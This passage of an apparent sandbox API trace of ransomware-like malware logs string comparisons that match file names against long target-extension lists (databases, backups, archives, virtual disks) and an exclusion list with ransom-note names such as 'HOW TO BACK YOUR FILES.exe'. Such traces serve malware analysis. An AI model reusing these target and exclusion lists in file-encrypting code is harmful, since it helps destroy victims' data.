	[0046.703] lstrcmpiW (lpString1="ons", lpString2="abs") returned 1
	[0046.703] lstrlenW (lpString="abx") returned 3
	[0046.703] lstrcmpiW (lpString1="ons", lpString2="abx") returned 1
	[0046.703] lstrlenW (lpString="accdb") returned 5
	[0046.703] lstrcmpiW (lpString1="icons", lpString2="accdb") returned 1
	[0046.703] lstrlenW (lpString="accdc") returned 5
	[0046.703] lstrcmpiW (lpString1="icons", lpString2="accdc") returned 1
	[0046.703] lstrlenW (lpString="accde") returned 5
	[0046.703] lstrcmpiW (lpString1="icons", lpString2="accde") returned 1
	[0046.703] lstrlenW (lpString="accdr") returned 5
	[0046.703] lstrcmpiW (lpString1="icons", lpString2="accdr") returned 1
	[0046.703] lstrlenW (lpString="accdt") returned 5
	[0046.703] lstrcmpiW (lpString1="icons", lpString2="accdt") returned 1
	[0046.703] lstrlenW (lpString="accdw") returned 5
	[0046.703] lstrcmpiW (lpString1="icons", lpString2="accdw") returned 1
	[0046.703] lstrlenW (lpString="accft") returned 5
	[0046.703] lstrcmpiW (lpString1="icons", lpString2="accft") returned 1
	[0046.703] lstrlenW (lpString="adb") returned 3
	[0046.703] lstrcmpiW (lpString1="ons", lpString2="adb") returned 1
	[0046.703] lstrlenW (lpString="adb") returned 3
	[0046.703] lstrcmpiW (lpString1="ons", lpString2="adb") returned 1
	[0046.703] lstrlenW (lpString="ade") returned 3
	[0046.704] lstrcmpiW (lpString1="ons", lpString2="ade") returned 1
	[0046.704] lstrlenW (lpString="adf") returned 3
	[0046.704] lstrcmpiW (lpString1="ons", lpString2="adf") returned 1
	[0046.704] lstrlenW (lpString="adn") returned 3
	[0046.704] lstrcmpiW (lpString1="ons", lpString2="adn") returned 1
	[0046.704] lstrlenW (lpString="adp") returned 3
	[0046.704] lstrcmpiW (lpString1="ons", lpString2="adp") returned 1
	[0046.704] lstrlenW (lpString="alf") returned 3
	[0046.704] lstrcmpiW (lpString1="ons", lpString2="alf") returned 1
	[0046.704] lstrlenW (lpString="ask") returned 3
	[0046.704] lstrcmpiW (lpString1="ons", lpString2="ask") returned 1
	[0046.704] lstrlenW (lpString="btr") returned 3
	[0046.704] lstrcmpiW (lpString1="ons", lpString2="btr") returned 1
	[0046.704] lstrlenW (lpString="cat") returned 3
	[0046.704] lstrcmpiW (lpString1="ons", lpString2="cat") returned 1
	[0046.704] lstrlenW (lpString="cdb") returned 3
	[0046.704] lstrcmpiW (lpString1="ons", lpString2="cdb") returned 1
	[0046.704] lstrlenW (lpString="ckp") returned 3
	[0046.704] lstrcmpiW (lpString1="ons", lpString2="ckp") returned 1
	[0046.704] lstrlenW (lpString="cma") returned 3
	[0046.704] lstrcmpiW (lpString1="ons", lpString2="cma") returned 1
	[0046.704] lstrlenW (lpString="cpd") returned 3
	[0046.704] lstrcmpiW (lpString1="ons", lpString2="cpd") returned 1
	[0046.704] lstrlenW (lpString="dacpac") returned 6
	[0046.704] lstrcmpiW (lpString1="vicons", lpString2="dacpac") returned 1
	[0046.704] lstrlenW (lpString="dad") returned 3
	[0046.704] lstrcmpiW (lpString1="ons", lpString2="dad") returned 1
	[0046.704] lstrlenW (lpString="dadiagrams") returned 10
	[0046.704] lstrlenW (lpString="daschema") returned 8
	[0046.704] lstrlenW (lpString="db-journal") returned 10
	[0046.704] lstrlenW (lpString="db-shm") returned 6
	[0046.704] lstrcmpiW (lpString1="vicons", lpString2="db-shm") returned 1
	[0046.704] lstrlenW (lpString="db-wal") returned 6
	[0046.704] lstrcmpiW (lpString1="vicons", lpString2="db-wal") returned 1
	[0046.704] lstrlenW (lpString="dbc") returned 3
	[0046.705] lstrcmpiW (lpString1="ons", lpString2="dbc") returned 1
	[0046.705] lstrlenW (lpString="dbs") returned 3
	[0046.705] lstrcmpiW (lpString1="ons", lpString2="dbs") returned 1
	[0046.705] lstrlenW (lpString="dbt") returned 3
	[0046.705] lstrcmpiW (lpString1="ons", lpString2="dbt") returned 1
	[0046.705] lstrlenW (lpString="dbv") returned 3
	[0046.705] lstrcmpiW (lpString1="ons", lpString2="dbv") returned 1
	[0046.705] lstrlenW (lpString="dbx") returned 3
	[0046.705] lstrcmpiW (lpString1="ons", lpString2="dbx") returned 1
	[0046.705] lstrlenW (lpString="dcb") returned 3
	[0046.705] lstrcmpiW (lpString1="ons", lpString2="dcb") returned 1
	[0046.705] lstrlenW (lpString="dct") returned 3
	[0046.705] lstrcmpiW (lpString1="ons", lpString2="dct") returned 1
	[0046.705] lstrlenW (lpString="dcx") returned 3
	[0046.705] lstrcmpiW (lpString1="ons", lpString2="dcx") returned 1
	[0046.705] lstrlenW (lpString="ddl") returned 3
	[0046.705] lstrcmpiW (lpString1="ons", lpString2="ddl") returned 1
	[0046.705] lstrlenW (lpString="dlis") returned 4
	[0046.705] lstrcmpiW (lpString1="cons", lpString2="dlis") returned -1
	[0046.705] lstrlenW (lpString="dp1") returned 3
	[0046.705] lstrcmpiW (lpString1="ons", lpString2="dp1") returned 1
	[0046.705] lstrlenW (lpString="dqy") returned 3
	[0046.705] lstrcmpiW (lpString1="ons", lpString2="dqy") returned 1
	[0046.705] lstrlenW (lpString="dsk") returned 3
	[0046.705] lstrcmpiW (lpString1="ons", lpString2="dsk") returned 1
	[0046.705] lstrlenW (lpString="dsn") returned 3
	[0046.705] lstrcmpiW (lpString1="ons", lpString2="dsn") returned 1
	[0046.705] lstrlenW (lpString="dtsx") returned 4
	[0046.705] lstrcmpiW (lpString1="cons", lpString2="dtsx") returned -1
	[0046.705] lstrlenW (lpString="dxl") returned 3
	[0046.705] lstrcmpiW (lpString1="ons", lpString2="dxl") returned 1
	[0046.705] lstrlenW (lpString="eco") returned 3
	[0046.705] lstrcmpiW (lpString1="ons", lpString2="eco") returned 1
	[0046.706] lstrlenW (lpString="ecx") returned 3
	[0046.706] lstrcmpiW (lpString1="ons", lpString2="ecx") returned 1
	[0046.706] lstrlenW (lpString="edb") returned 3
	[0046.706] lstrcmpiW (lpString1="ons", lpString2="edb") returned 1
	[0046.706] lstrlenW (lpString="epim") returned 4
	[0046.706] lstrcmpiW (lpString1="cons", lpString2="epim") returned -1
	[0046.706] lstrlenW (lpString="fcd") returned 3
	[0046.706] lstrcmpiW (lpString1="ons", lpString2="fcd") returned 1
	[0046.706] lstrlenW (lpString="fdb") returned 3
	[0046.706] lstrcmpiW (lpString1="ons", lpString2="fdb") returned 1
	[0046.706] lstrlenW (lpString="fic") returned 3
	[0046.706] lstrcmpiW (lpString1="ons", lpString2="fic") returned 1
	[0046.706] lstrlenW (lpString="flexolibrary") returned 12
	[0046.706] lstrlenW (lpString="fm5") returned 3
	[0046.706] lstrcmpiW (lpString1="ons", lpString2="fm5") returned 1
	[0046.706] lstrlenW (lpString="fmp") returned 3
	[0046.706] lstrcmpiW (lpString1="ons", lpString2="fmp") returned 1
	[0046.706] lstrlenW (lpString="fmp12") returned 5
	[0046.706] lstrcmpiW (lpString1="icons", lpString2="fmp12") returned 1
	[0046.706] lstrlenW (lpString="fmpsl") returned 5
	[0046.706] lstrcmpiW (lpString1="icons", lpString2="fmpsl") returned 1
	[0046.706] lstrlenW (lpString="fol") returned 3
	[0046.706] lstrcmpiW (lpString1="ons", lpString2="fol") returned 1
	[0046.706] lstrlenW (lpString="fp3") returned 3
	[0046.706] lstrcmpiW (lpString1="ons", lpString2="fp3") returned 1
	[0046.706] lstrlenW (lpString="fp4") returned 3
	[0046.706] lstrcmpiW (lpString1="ons", lpString2="fp4") returned 1
	[0046.706] lstrlenW (lpString="fp5") returned 3
	[0046.706] lstrcmpiW (lpString1="ons", lpString2="fp5") returned 1
	[0046.706] lstrlenW (lpString="fp7") returned 3
	[0046.706] lstrcmpiW (lpString1="ons", lpString2="fp7") returned 1
	[0046.706] lstrlenW (lpString="fpt") returned 3
	[0046.706] lstrcmpiW (lpString1="ons", lpString2="fpt") returned 1
	[0046.707] lstrlenW (lpString="frm") returned 3
	[0046.707] lstrcmpiW (lpString1="ons", lpString2="frm") returned 1
	[0046.707] lstrlenW (lpString="gdb") returned 3
	[0046.707] lstrcmpiW (lpString1="ons", lpString2="gdb") returned 1
	[0046.707] lstrlenW (lpString="gdb") returned 3
	[0046.707] lstrcmpiW (lpString1="ons", lpString2="gdb") returned 1
	[0046.707] lstrlenW (lpString="grdb") returned 4
	[0046.707] lstrcmpiW (lpString1="cons", lpString2="grdb") returned -1
	[0046.707] lstrlenW (lpString="gwi") returned 3
	[0046.707] lstrcmpiW (lpString1="ons", lpString2="gwi") returned 1
	[0046.707] lstrlenW (lpString="hdb") returned 3
	[0046.707] lstrcmpiW (lpString1="ons", lpString2="hdb") returned 1
	[0046.707] lstrlenW (lpString="his") returned 3
	[0046.707] lstrcmpiW (lpString1="ons", lpString2="his") returned 1
	[0046.707] lstrlenW (lpString="ib") returned 2
	[0046.707] lstrcmpiW (lpString1="ns", lpString2="ib") returned 1
	[0046.707] lstrlenW (lpString="idb") returned 3
	[0046.707] lstrcmpiW (lpString1="ons", lpString2="idb") returned 1
	[0046.707] lstrlenW (lpString="ihx") returned 3
	[0046.707] lstrcmpiW (lpString1="ons", lpString2="ihx") returned 1
	[0046.707] lstrlenW (lpString="itdb") returned 4
	[0046.707] lstrcmpiW (lpString1="cons", lpString2="itdb") returned -1
	[0046.707] lstrlenW (lpString="itw") returned 3
	[0046.707] lstrcmpiW (lpString1="ons", lpString2="itw") returned 1
	[0046.707] lstrlenW (lpString="jet") returned 3
	[0046.707] lstrcmpiW (lpString1="ons", lpString2="jet") returned 1
	[0046.707] lstrlenW (lpString="jtx") returned 3
	[0046.707] lstrcmpiW (lpString1="ons", lpString2="jtx") returned 1
	[0046.707] lstrlenW (lpString="kdb") returned 3
	[0046.708] lstrcmpiW (lpString1="ons", lpString2="kdb") returned 1
	[0046.708] lstrlenW (lpString="kexi") returned 4
	[0046.708] lstrcmpiW (lpString1="cons", lpString2="kexi") returned -1
	[0046.708] lstrlenW (lpString="kexic") returned 5
	[0046.708] lstrcmpiW (lpString1="icons", lpString2="kexic") returned -1
	[0046.708] lstrlenW (lpString="kexis") returned 5
	[0046.708] lstrcmpiW (lpString1="icons", lpString2="kexis") returned -1
	[0046.708] lstrlenW (lpString="lgc") returned 3
	[0046.708] lstrcmpiW (lpString1="ons", lpString2="lgc") returned 1
	[0046.708] lstrlenW (lpString="lwx") returned 3
	[0046.708] lstrcmpiW (lpString1="ons", lpString2="lwx") returned 1
	[0046.708] lstrlenW (lpString="maf") returned 3
	[0046.708] lstrcmpiW (lpString1="ons", lpString2="maf") returned 1
	[0046.708] lstrlenW (lpString="maq") returned 3
	[0046.708] lstrcmpiW (lpString1="ons", lpString2="maq") returned 1
	[0046.708] lstrlenW (lpString="mar") returned 3
	[0046.708] lstrcmpiW (lpString1="ons", lpString2="mar") returned 1
	[0046.708] lstrlenW (lpString="marshal") returned 7
	[0046.708] lstrcmpiW (lpString1="avicons", lpString2="marshal") returned -1
	[0046.708] lstrlenW (lpString="mas") returned 3
	[0046.708] lstrcmpiW (lpString1="ons", lpString2="mas") returned 1
	[0046.708] lstrlenW (lpString="mav") returned 3
	[0046.708] lstrcmpiW (lpString1="ons", lpString2="mav") returned 1
	[0046.708] lstrlenW (lpString="maw") returned 3
	[0046.708] lstrcmpiW (lpString1="ons", lpString2="maw") returned 1
	[0046.708] lstrlenW (lpString="mdbhtml") returned 7
	[0046.708] lstrcmpiW (lpString1="avicons", lpString2="mdbhtml") returned -1
	[0046.708] lstrlenW (lpString="mdn") returned 3
	[0046.708] lstrcmpiW (lpString1="ons", lpString2="mdn") returned 1
	[0046.708] lstrlenW (lpString="mdt") returned 3
	[0046.708] lstrcmpiW (lpString1="ons", lpString2="mdt") returned 1
	[0046.708] lstrlenW (lpString="mfd") returned 3
	[0046.708] lstrcmpiW (lpString1="ons", lpString2="mfd") returned 1
	[0046.709] lstrlenW (lpString="mpd") returned 3
	[0046.709] lstrcmpiW (lpString1="ons", lpString2="mpd") returned 1
	[0046.709] lstrlenW (lpString="mrg") returned 3
	[0046.709] lstrcmpiW (lpString1="ons", lpString2="mrg") returned 1
	[0046.709] lstrlenW (lpString="mud") returned 3
	[0046.709] lstrcmpiW (lpString1="ons", lpString2="mud") returned 1
	[0046.709] lstrlenW (lpString="mwb") returned 3
	[0046.709] lstrcmpiW (lpString1="ons", lpString2="mwb") returned 1
	[0046.709] lstrlenW (lpString="myd") returned 3
	[0046.709] lstrcmpiW (lpString1="ons", lpString2="myd") returned 1
	[0046.709] lstrlenW (lpString="ndf") returned 3
	[0046.709] lstrcmpiW (lpString1="ons", lpString2="ndf") returned 1
	[0046.709] lstrlenW (lpString="nnt") returned 3
	[0046.709] lstrcmpiW (lpString1="ons", lpString2="nnt") returned 1
	[0046.709] lstrlenW (lpString="nrmlib") returned 6
	[0046.709] lstrcmpiW (lpString1="vicons", lpString2="nrmlib") returned 1
	[0046.709] lstrlenW (lpString="ns2") returned 3
	[0046.709] lstrcmpiW (lpString1="ons", lpString2="ns2") returned 1
	[0046.709] lstrlenW (lpString="ns3") returned 3
	[0046.709] lstrcmpiW (lpString1="ons", lpString2="ns3") returned 1
	[0046.709] lstrlenW (lpString="ns4") returned 3
	[0046.709] lstrcmpiW (lpString1="ons", lpString2="ns4") returned 1
	[0046.709] lstrlenW (lpString="nsf") returned 3
	[0046.709] lstrcmpiW (lpString1="ons", lpString2="nsf") returned 1
	[0046.709] lstrlenW (lpString="nv") returned 2
	[0046.709] lstrcmpiW (lpString1="ns", lpString2="nv") returned -1
	[0046.709] lstrlenW (lpString="nv2") returned 3
	[0046.709] lstrcmpiW (lpString1="ons", lpString2="nv2") returned 1
	[0046.709] lstrlenW (lpString="nwdb") returned 4
	[0046.709] lstrcmpiW (lpString1="cons", lpString2="nwdb") returned -1
	[0046.709] lstrlenW (lpString="nyf") returned 3
	[0046.709] lstrcmpiW (lpString1="ons", lpString2="nyf") returned 1
	[0046.709] lstrlenW (lpString="odb") returned 3
	[0046.710] lstrcmpiW (lpString1="ons", lpString2="odb") returned 1
	[0046.710] lstrlenW (lpString="odb") returned 3
	[0046.710] lstrcmpiW (lpString1="ons", lpString2="odb") returned 1
	[0046.710] lstrlenW (lpString="oqy") returned 3
	[0046.710] lstrcmpiW (lpString1="ons", lpString2="oqy") returned -1
	[0046.710] lstrlenW (lpString="ora") returned 3
	[0046.710] lstrcmpiW (lpString1="ons", lpString2="ora") returned -1
	[0046.710] lstrlenW (lpString="orx") returned 3
	[0046.710] lstrcmpiW (lpString1="ons", lpString2="orx") returned -1
	[0046.710] lstrlenW (lpString="owc") returned 3
	[0046.710] lstrcmpiW (lpString1="ons", lpString2="owc") returned -1
	[0046.710] lstrlenW (lpString="p96") returned 3
	[0046.710] lstrcmpiW (lpString1="ons", lpString2="p96") returned -1
	[0046.710] lstrlenW (lpString="p97") returned 3
	[0046.710] lstrcmpiW (lpString1="ons", lpString2="p97") returned -1
	[0046.710] lstrlenW (lpString="pan") returned 3
	[0046.710] lstrcmpiW (lpString1="ons", lpString2="pan") returned -1
	[0046.710] lstrlenW (lpString="pdb") returned 3
	[0046.710] lstrcmpiW (lpString1="ons", lpString2="pdb") returned -1
	[0046.710] lstrlenW (lpString="pdm") returned 3
	[0046.710] lstrcmpiW (lpString1="ons", lpString2="pdm") returned -1
	[0046.710] lstrlenW (lpString="pnz") returned 3
	[0046.710] lstrcmpiW (lpString1="ons", lpString2="pnz") returned -1
	[0046.710] lstrlenW (lpString="qry") returned 3
	[0046.710] lstrcmpiW (lpString1="ons", lpString2="qry") returned -1
	[0046.710] lstrlenW (lpString="qvd") returned 3
	[0046.710] lstrcmpiW (lpString1="ons", lpString2="qvd") returned -1
	[0046.710] lstrlenW (lpString="rbf") returned 3
	[0046.710] lstrcmpiW (lpString1="ons", lpString2="rbf") returned -1
	[0046.710] lstrlenW (lpString="rctd") returned 4
	[0046.710] lstrcmpiW (lpString1="cons", lpString2="rctd") returned -1
	[0046.710] lstrlenW (lpString="rod") returned 3
	[0046.710] lstrcmpiW (lpString1="ons", lpString2="rod") returned -1
	[0046.710] lstrlenW (lpString="rodx") returned 4
	[0046.711] lstrcmpiW (lpString1="cons", lpString2="rodx") returned -1
	[0046.711] lstrlenW (lpString="rpd") returned 3
	[0046.711] lstrcmpiW (lpString1="ons", lpString2="rpd") returned -1
	[0046.711] lstrlenW (lpString="rsd") returned 3
	[0046.711] lstrcmpiW (lpString1="ons", lpString2="rsd") returned -1
	[0046.711] lstrlenW (lpString="sas7bdat") returned 8
	[0046.711] lstrlenW (lpString="sbf") returned 3
	[0046.711] lstrcmpiW (lpString1="ons", lpString2="sbf") returned -1
	[0046.711] lstrlenW (lpString="scx") returned 3
	[0046.711] lstrcmpiW (lpString1="ons", lpString2="scx") returned -1
	[0046.711] lstrlenW (lpString="sdb") returned 3
	[0046.711] lstrcmpiW (lpString1="ons", lpString2="sdb") returned -1
	[0046.711] lstrlenW (lpString="sdc") returned 3
	[0046.711] lstrcmpiW (lpString1="ons", lpString2="sdc") returned -1
	[0046.711] lstrlenW (lpString="sdf") returned 3
	[0046.711] lstrcmpiW (lpString1="ons", lpString2="sdf") returned -1
	[0046.711] lstrlenW (lpString="sis") returned 3
	[0046.711] lstrcmpiW (lpString1="ons", lpString2="sis") returned -1
	[0046.711] lstrlenW (lpString="spq") returned 3
	[0046.711] lstrcmpiW (lpString1="ons", lpString2="spq") returned -1
	[0046.711] lstrlenW (lpString="te") returned 2
	[0046.711] lstrcmpiW (lpString1="ns", lpString2="te") returned -1
	[0046.711] lstrlenW (lpString="teacher") returned 7
	[0046.711] lstrcmpiW (lpString1="avicons", lpString2="teacher") returned -1
	[0046.711] lstrlenW (lpString="tmd") returned 3
	[0046.711] lstrcmpiW (lpString1="ons", lpString2="tmd") returned -1
	[0046.711] lstrlenW (lpString="tps") returned 3
	[0046.711] lstrcmpiW (lpString1="ons", lpString2="tps") returned -1
	[0046.711] lstrlenW (lpString="trc") returned 3
	[0046.711] lstrcmpiW (lpString1="ons", lpString2="trc") returned -1
	[0046.711] lstrlenW (lpString="trc") returned 3
	[0046.711] lstrcmpiW (lpString1="ons", lpString2="trc") returned -1
	[0046.711] lstrlenW (lpString="trm") returned 3
	[0046.712] lstrcmpiW (lpString1="ons", lpString2="trm") returned -1
	[0046.712] lstrlenW (lpString="udb") returned 3
	[0046.712] lstrcmpiW (lpString1="ons", lpString2="udb") returned -1
	[0046.712] lstrlenW (lpString="udl") returned 3
	[0046.712] lstrcmpiW (lpString1="ons", lpString2="udl") returned -1
	[0046.712] lstrlenW (lpString="usr") returned 3
	[0046.712] lstrcmpiW (lpString1="ons", lpString2="usr") returned -1
	[0046.712] lstrlenW (lpString="v12") returned 3
	[0046.712] lstrcmpiW (lpString1="ons", lpString2="v12") returned -1
	[0046.712] lstrlenW (lpString="vis") returned 3
	[0046.712] lstrcmpiW (lpString1="ons", lpString2="vis") returned -1
	[0046.712] lstrlenW (lpString="vpd") returned 3
	[0046.712] lstrcmpiW (lpString1="ons", lpString2="vpd") returned -1
	[0046.712] lstrlenW (lpString="vvv") returned 3
	[0046.712] lstrcmpiW (lpString1="ons", lpString2="vvv") returned -1
	[0046.712] lstrlenW (lpString="wdb") returned 3
	[0046.712] lstrcmpiW (lpString1="ons", lpString2="wdb") returned -1
	[0046.712] lstrlenW (lpString="wmdb") returned 4
	[0046.712] lstrcmpiW (lpString1="cons", lpString2="wmdb") returned -1
	[0046.712] lstrlenW (lpString="wrk") returned 3
	[0046.712] lstrcmpiW (lpString1="ons", lpString2="wrk") returned -1
	[0046.712] lstrlenW (lpString="xdb") returned 3
	[0046.712] lstrcmpiW (lpString1="ons", lpString2="xdb") returned -1
	[0046.712] lstrlenW (lpString="xld") returned 3
	[0046.712] lstrcmpiW (lpString1="ons", lpString2="xld") returned -1
	[0046.712] lstrlenW (lpString="xmlff") returned 5
	[0046.712] lstrcmpiW (lpString1="icons", lpString2="xmlff") returned -1
	[0046.712] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80cce2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80cce2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x80e97340, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favicons-journal", cAlternateFileName="FAVICO~1")) returned 1
	[0046.712] lstrcmpiW (lpString1="Favicons-journal", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.712] lstrcmpiW (lpString1="Favicons-journal", lpString2="Apollon865.txt.exe") returned 1
	[0046.712] lstrcmpiW (lpString1="Favicons-journal", lpString2=".") returned 1
	[0046.712] lstrcmpiW (lpString1="Favicons-journal", lpString2="..") returned 1
	[0046.712] lstrcmpiW (lpString1="Favicons-journal", lpString2="windows") returned -1
	[0046.712] lstrcmpiW (lpString1="Favicons-journal", lpString2="bootmgr") returned 1
	[0046.713] lstrcmpiW (lpString1="Favicons-journal", lpString2="temp") returned -1
	[0046.713] lstrcmpiW (lpString1="Favicons-journal", lpString2="pagefile.sys") returned -1
	[0046.713] lstrcmpiW (lpString1="Favicons-journal", lpString2="boot") returned 1
	[0046.713] lstrcmpiW (lpString1="Favicons-journal", lpString2="ids.txt") returned -1
	[0046.713] lstrcmpiW (lpString1="Favicons-journal", lpString2="ntuser.dat") returned -1
	[0046.713] lstrcmpiW (lpString1="Favicons-journal", lpString2="perflogs") returned -1
	[0046.713] lstrcmpiW (lpString1="Favicons-journal", lpString2="MSBuild") returned -1
	[0046.713] lstrlenW (lpString="Favicons-journal") returned 16
	[0046.713] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons") returned 84
	[0046.713] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Favicons-journal" | out: lpString1="Favicons-journal") returned="Favicons-journal"
	[0046.713] lstrlenW (lpString="Favicons-journal") returned 16
	[0046.713] lstrlenW (lpString="Apollon865") returned 10
	[0046.713] lstrcmpiW (lpString1="ns-journal", lpString2="Apollon865") returned 1
	[0046.713] lstrlenW (lpString=".dll") returned 4
	[0046.713] lstrcmpiW (lpString1="Favicons-journal", lpString2=".dll") returned 1
	[0046.713] lstrlenW (lpString=".lnk") returned 4
	[0046.713] lstrcmpiW (lpString1="Favicons-journal", lpString2=".lnk") returned 1
	[0046.713] lstrlenW (lpString=".ini") returned 4
	[0046.713] lstrcmpiW (lpString1="Favicons-journal", lpString2=".ini") returned 1
	[0046.713] lstrlenW (lpString=".sys") returned 4
	[0046.713] lstrcmpiW (lpString1="Favicons-journal", lpString2=".sys") returned 1
	[0046.713] lstrlenW (lpString="Favicons-journal") returned 16
	[0046.713] lstrlenW (lpString="bak") returned 3
	[0046.713] lstrcmpiW (lpString1="nal", lpString2="bak") returned 1
	[0046.713] lstrlenW (lpString="ba_") returned 3
	[0046.713] lstrcmpiW (lpString1="nal", lpString2="ba_") returned 1
	[0046.713] lstrlenW (lpString="dbb") returned 3
	[0046.713] lstrcmpiW (lpString1="nal", lpString2="dbb") returned 1
	[0046.713] lstrlenW (lpString="vmdk") returned 4
	[0046.713] lstrcmpiW (lpString1="rnal", lpString2="vmdk") returned -1
	[0046.713] lstrlenW (lpString="rar") returned 3
	[0046.713] lstrcmpiW (lpString1="nal", lpString2="rar") returned -1
	[0046.714] lstrlenW (lpString="zip") returned 3
	[0046.714] lstrcmpiW (lpString1="nal", lpString2="zip") returned -1
	[0046.714] lstrlenW (lpString="tgz") returned 3
	[0046.714] lstrcmpiW (lpString1="nal", lpString2="tgz") returned -1
	[0046.714] lstrlenW (lpString="vbox") returned 4
	[0046.714] lstrcmpiW (lpString1="rnal", lpString2="vbox") returned -1
	[0046.714] lstrlenW (lpString="vdi") returned 3
	[0046.714] lstrcmpiW (lpString1="nal", lpString2="vdi") returned -1
	[0046.714] lstrlenW (lpString="vhd") returned 3
	[0046.714] lstrcmpiW (lpString1="nal", lpString2="vhd") returned -1
	[0046.714] lstrlenW (lpString="vhdx") returned 4
	[0046.714] lstrcmpiW (lpString1="rnal", lpString2="vhdx") returned -1
	[0046.714] lstrlenW (lpString="avhd") returned 4
	[0046.714] lstrcmpiW (lpString1="rnal", lpString2="avhd") returned 1
	[0046.714] lstrlenW (lpString="db") returned 2
	[0046.714] lstrcmpiW (lpString1="al", lpString2="db") returned -1
	[0046.714] lstrlenW (lpString="db2") returned 3
	[0046.714] lstrcmpiW (lpString1="nal", lpString2="db2") returned 1
	[0046.714] lstrlenW (lpString="db3") returned 3
	[0046.714] lstrcmpiW (lpString1="nal", lpString2="db3") returned 1
	[0046.714] lstrlenW (lpString="dbf") returned 3
	[0046.714] lstrcmpiW (lpString1="nal", lpString2="dbf") returned 1
	[0046.714] lstrlenW (lpString="mdf") returned 3
	[0046.714] lstrcmpiW (lpString1="nal", lpString2="mdf") returned 1
	[0046.714] lstrlenW (lpString="mdb") returned 3
	[0046.714] lstrcmpiW (lpString1="nal", lpString2="mdb") returned 1
	[0046.714] lstrlenW (lpString="sql") returned 3
	[0046.714] lstrcmpiW (lpString1="nal", lpString2="sql") returned -1
	[0046.714] lstrlenW (lpString="sqlite") returned 6
	[0046.714] lstrcmpiW (lpString1="ournal", lpString2="sqlite") returned -1
	[0046.714] lstrlenW (lpString="sqlite3") returned 7
	[0046.714] lstrcmpiW (lpString1="journal", lpString2="sqlite3") returned -1
	[0046.714] lstrlenW (lpString="sqlitedb") returned 8
	[0046.714] lstrcmpiW (lpString1="-journal", lpString2="sqlitedb") returned -1
	[0046.715] lstrlenW (lpString="xml") returned 3
	[0046.715] lstrcmpiW (lpString1="nal", lpString2="xml") returned -1
	[0046.715] lstrlenW (lpString="$er") returned 3
	[0046.715] lstrcmpiW (lpString1="nal", lpString2="$er") returned 1
	[0046.715] lstrlenW (lpString="4dd") returned 3
	[0046.715] lstrcmpiW (lpString1="nal", lpString2="4dd") returned 1
	[0046.715] lstrlenW (lpString="4dl") returned 3
	[0046.715] lstrcmpiW (lpString1="nal", lpString2="4dl") returned 1
	[0046.715] lstrlenW (lpString="^^^") returned 3
	[0046.715] lstrcmpiW (lpString1="nal", lpString2="^^^") returned 1
	[0046.715] lstrlenW (lpString="abs") returned 3
	[0046.715] lstrcmpiW (lpString1="nal", lpString2="abs") returned 1
	[0046.715] lstrlenW (lpString="abx") returned 3
	[0046.715] lstrcmpiW (lpString1="nal", lpString2="abx") returned 1
	[0046.715] lstrlenW (lpString="accdb") returned 5
	[0046.715] lstrcmpiW (lpString1="urnal", lpString2="accdb") returned 1
	[0046.715] lstrlenW (lpString="accdc") returned 5
	[0046.715] lstrcmpiW (lpString1="urnal", lpString2="accdc") returned 1
	[0046.715] lstrlenW (lpString="accde") returned 5
	[0046.715] lstrcmpiW (lpString1="urnal", lpString2="accde") returned 1
	[0046.715] lstrlenW (lpString="accdr") returned 5
	[0046.715] lstrcmpiW (lpString1="urnal", lpString2="accdr") returned 1
	[0046.715] lstrlenW (lpString="accdt") returned 5
	[0046.715] lstrcmpiW (lpString1="urnal", lpString2="accdt") returned 1
	[0046.715] lstrlenW (lpString="accdw") returned 5
	[0046.715] lstrcmpiW (lpString1="urnal", lpString2="accdw") returned 1
	[0046.715] lstrlenW (lpString="accft") returned 5
	[0046.715] lstrcmpiW (lpString1="urnal", lpString2="accft") returned 1
	[0046.715] lstrlenW (lpString="adb") returned 3
	[0046.715] lstrcmpiW (lpString1="nal", lpString2="adb") returned 1
	[0046.715] lstrlenW (lpString="adb") returned 3
	[0046.715] lstrcmpiW (lpString1="nal", lpString2="adb") returned 1
	[0046.715] lstrlenW (lpString="ade") returned 3
	[0046.715] lstrcmpiW (lpString1="nal", lpString2="ade") returned 1
	[0046.716] lstrlenW (lpString="adf") returned 3
	[0046.716] lstrcmpiW (lpString1="nal", lpString2="adf") returned 1
	[0046.716] lstrlenW (lpString="adn") returned 3
	[0046.716] lstrcmpiW (lpString1="nal", lpString2="adn") returned 1
	[0046.716] lstrlenW (lpString="adp") returned 3
	[0046.716] lstrcmpiW (lpString1="nal", lpString2="adp") returned 1
	[0046.716] lstrlenW (lpString="alf") returned 3
	[0046.716] lstrcmpiW (lpString1="nal", lpString2="alf") returned 1
	[0046.716] lstrlenW (lpString="ask") returned 3
	[0046.716] lstrcmpiW (lpString1="nal", lpString2="ask") returned 1
	[0046.716] lstrlenW (lpString="btr") returned 3
	[0046.716] lstrcmpiW (lpString1="nal", lpString2="btr") returned 1
	[0046.716] lstrlenW (lpString="cat") returned 3
	[0046.716] lstrcmpiW (lpString1="nal", lpString2="cat") returned 1
	[0046.716] lstrlenW (lpString="cdb") returned 3
	[0046.716] lstrcmpiW (lpString1="nal", lpString2="cdb") returned 1
	[0046.716] lstrlenW (lpString="ckp") returned 3
	[0046.716] lstrcmpiW (lpString1="nal", lpString2="ckp") returned 1
	[0046.716] lstrlenW (lpString="cma") returned 3
	[0046.716] lstrcmpiW (lpString1="nal", lpString2="cma") returned 1
	[0046.716] lstrlenW (lpString="cpd") returned 3
	[0046.716] lstrcmpiW (lpString1="nal", lpString2="cpd") returned 1
	[0046.716] lstrlenW (lpString="dacpac") returned 6
	[0046.716] lstrcmpiW (lpString1="ournal", lpString2="dacpac") returned 1
	[0046.716] lstrlenW (lpString="dad") returned 3
	[0046.716] lstrcmpiW (lpString1="nal", lpString2="dad") returned 1
	[0046.716] lstrlenW (lpString="dadiagrams") returned 10
	[0046.716] lstrcmpiW (lpString1="ns-journal", lpString2="dadiagrams") returned 1
